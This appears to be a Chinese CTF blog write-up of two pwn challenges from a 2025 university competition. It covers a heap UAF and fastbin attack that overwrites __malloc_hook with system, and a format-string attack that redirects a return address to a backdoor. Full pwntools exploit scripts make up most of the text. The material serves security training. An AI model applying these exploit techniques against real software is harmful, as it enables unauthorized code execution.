2025 西工大铸剑杯 初赛 pwn部分

感谢贵校的诚挚邀请,很荣幸有机会去到线下

PWN

我不吃牛肉

程序不让你直接选功能(1.Add, 2.Del…),而是让你输入一个数,它用这个数做种子 (srand) 算出一个随机数,随机决定给你哪个功能

我们在本地用 Python 模拟 C 语言的 rand() 算法,穷举出 4 个特定的种子,分别对应 Add、Delete、Edit、Show。这样我们就把“随机菜单”变成了“固定菜单”。

申请一个大块 (0x100),释放它。因为太大进不了 Fastbin,它会进入 Unsorted Bin。

Unsorted Bin 的第一个块,其 fd 指针会指向 Libc 中的 main_arena 区域。

利用 UAF (Use-After-Free) 漏洞,用 Show 功能把这个已释放块的内容打印出来。

计算偏移,得到 Libc 的基地址

申请一个小块 (0x60),释放它进入 Fastbin

利用 UAF 的 Edit 功能,修改这个空闲块的 fd 指针

我们将 fd 指向 __malloc_hook – 0x23

连续申请两次。第二次申请到的就是 __malloc_hook 所在的内存区域

利用 Edit 功能,把 __malloc_hook 的值覆盖为 system 函数的地址

最后在 Libc 里找到字符串 /bin/sh 的地址。

调用 Add 功能(内部调用 malloc)

exp

from pwn import *
from ctypes import *
import sys
​
binary_name = './pwn'
libc_name = './libc.so.6'
​
context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug' 
​
elf = ELF(binary_name)
libc = ELF(libc_name)
clib = cdll.LoadLibrary(libc_name) 
​
​
#p = process(binary_name)
p=remote("113.201.14.253",59786)
log.info("[-] 正在计算随机数种子...")
​
seeds = {}
for i in range(10000):
    if len(seeds) == 4:
        break
    clib.srand(i)
    val = clib.rand()
​
    choice = (val % 4) + 1
    if choice not in seeds:
        seeds[choice] = i
​
log.success(f"种子计算完毕: {seeds}")
​
def exec_menu(choice_id):
    p.recvuntil(b"choice:\n")
    p.sendline(str(seeds[choice_id]).encode())
​
def add(idx, size):
    exec_menu(1)
    p.recvuntil(b"index:\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"size:\n")
    p.sendline(str(size).encode())
​
def delete(idx):
    exec_menu(2)
    p.recvuntil(b"index:\n")
    p.sendline(str(idx).encode())
​
def edit(idx, content):
    exec_menu(3)
    p.recvuntil(b"index:\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"length:\n")
    p.sendline(str(len(content)).encode())
    p.recvuntil(b"content:\n")
    p.send(content)
​
def show(idx):
    exec_menu(4)
    p.recvuntil(b"index:\n")
    p.sendline(str(idx).encode())
​
​
add(0, 0x100) 
add(1, 0x60) 
​
​
delete(0)
​
​
show(0)
​
leak = u64(p.recv(6).ljust(8, b'\x00'))
log.info(f"Leak Address: {hex(leak)}")
​
​
libc_base = leak - 88 - 0x10 - libc.symbols['__malloc_hook']
​
log.success(f"Libc Base: {hex(libc_base)}")
libc.address = libc_base
fake_chunk = libc.symbols['__malloc_hook'] - 0x23
log.info(f"Target Fake Chunk: {hex(fake_chunk)}")
add(2, 0x60)
add(3, 0x60)
delete(2)
edit(2, p64(fake_chunk))
​
add(4, 0x60) 
add(5, 0x60) 
​
system_addr = libc.symbols['system']
payload = b'a' * 0x13 + p64(system_addr)
edit(5, payload)
bin_sh_addr = next(libc.search(b"/bin/sh"))
log.info(f"/bin/sh addr: {hex(bin_sh_addr)}")
exec_menu(1) 
p.recvuntil(b"index:\n")
p.sendline(b"7") 
p.recvuntil(b"size:\n")
​
p.sendline(str(bin_sh_addr).encode())
​
p.interactive()

我最好的初代同事

这道题存在后们函数success

由于只能输入 16 字节

我们利用栈上现有的指针,通过修改它们,让它们指向我们的目标,最后实现写入

把ret地址改到后门函数附近

程序继续运行,直到 talk_with_god 函数结束,执行 ret 指令,get shell

exp

from pwn import *
import sys
​
binary_name = './fmt'
elf = ELF(binary_name)
context.binary = elf
context.log_level = 'debug'
context.arch = 'amd64'
​
#p = process(binary_name)
p = remote('113.201.14.253',48117) 
​
BASE_STACK_OFFSET = 10 
CHAIN_PTR_OFFSET = 14
RET_ADDR_OFFSET = 11
​
def pass_math_test():
    log.info("=== Starting Math Test ===")
    for i in range(5):
        try:
            p.recvuntil(b"what's ")
            data = p.recvuntil(b"\n", drop=True)
            parts = data.decode().split(' ')
            num1 = int(parts[0])
            num2 = int(parts[2])
            ans = num1 + num2
            p.sendline(str(ans).encode())
        except:
            pass
​
def exploit():
    pass_math_test()
    p.recvuntil(b"Cherish it")
    
    p.sendline(b"1")
    p.recvuntil(b"Input:\n")
    
    payload_1 = f"%{BASE_STACK_OFFSET}$p|%{RET_ADDR_OFFSET}$p".encode()
    p.send(payload_1)
    
    p.recvuntil(b"Your input:")
    out = p.recvuntil(b"[1]talk", drop=True)
    out = out.strip().split(b'\n')[0]
    
    leaks = out.split(b'|')
    stack_leak = int(leaks[0], 16)
    pie_leak = int(leaks[1], 16)
    
    pie_offset = pie_leak & 0xFFF 
    elf.address = pie_leak - pie_offset
    success_addr = elf.symbols['success']
​
    target_ret_stack = stack_leak - 0x18
​
    log.success(f"Stack Leak         : {hex(stack_leak)}")
    log.success(f"Target RET Stack   : {hex(target_ret_stack)}")
    log.success(f"Success Addr       : {hex(success_addr)}")
    
    log.info("=== Step 2: Stack Pivot ===")
    p.sendline(b"1")
    p.recvuntil(b"Input:\n")
    
    target_lsb = target_ret_stack & 0xFF
    
    if target_lsb == 0:
        payload_2 = f"%{BASE_STACK_OFFSET}$hhn".encode()
    else:
        payload_2 = f"%{target_lsb}c%{BASE_STACK_OFFSET}$hhn".encode()
        
    p.send(payload_2)
    p.recvuntil(b"Your input:")
    p.recvuntil(b"[1]talk") 
​
​
    log.info("=== Step 3: Overwrite RET ===")
    p.sendline(b"1")
    p.recvuntil(b"Input:\n")
    
    success_lsb = (success_addr + 5) & 0xFF
    
    log.info(f"Original Success LSB: {hex(success_addr & 0xFF)}")
    log.info(f"Aligned  Success LSB: {hex(success_lsb)}")
    
    if success_lsb == 0:
        payload_3 = f"%{CHAIN_PTR_OFFSET}$hhn".encode()
    else:
        payload_3 = f"%{success_lsb}c%{CHAIN_PTR_OFFSET}$hhn".encode()
    
    log.info(f"Payload 3: {payload_3}")
    
    p.send(payload_3)
    
    try:
        p.recvuntil(b"Is it fun", timeout=1)
        log.success("Exploit triggered! Enjoy your shell.")
    except:
        pass
​
    p.interactive()
​
if __name__ == "__main__":
    exploit()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇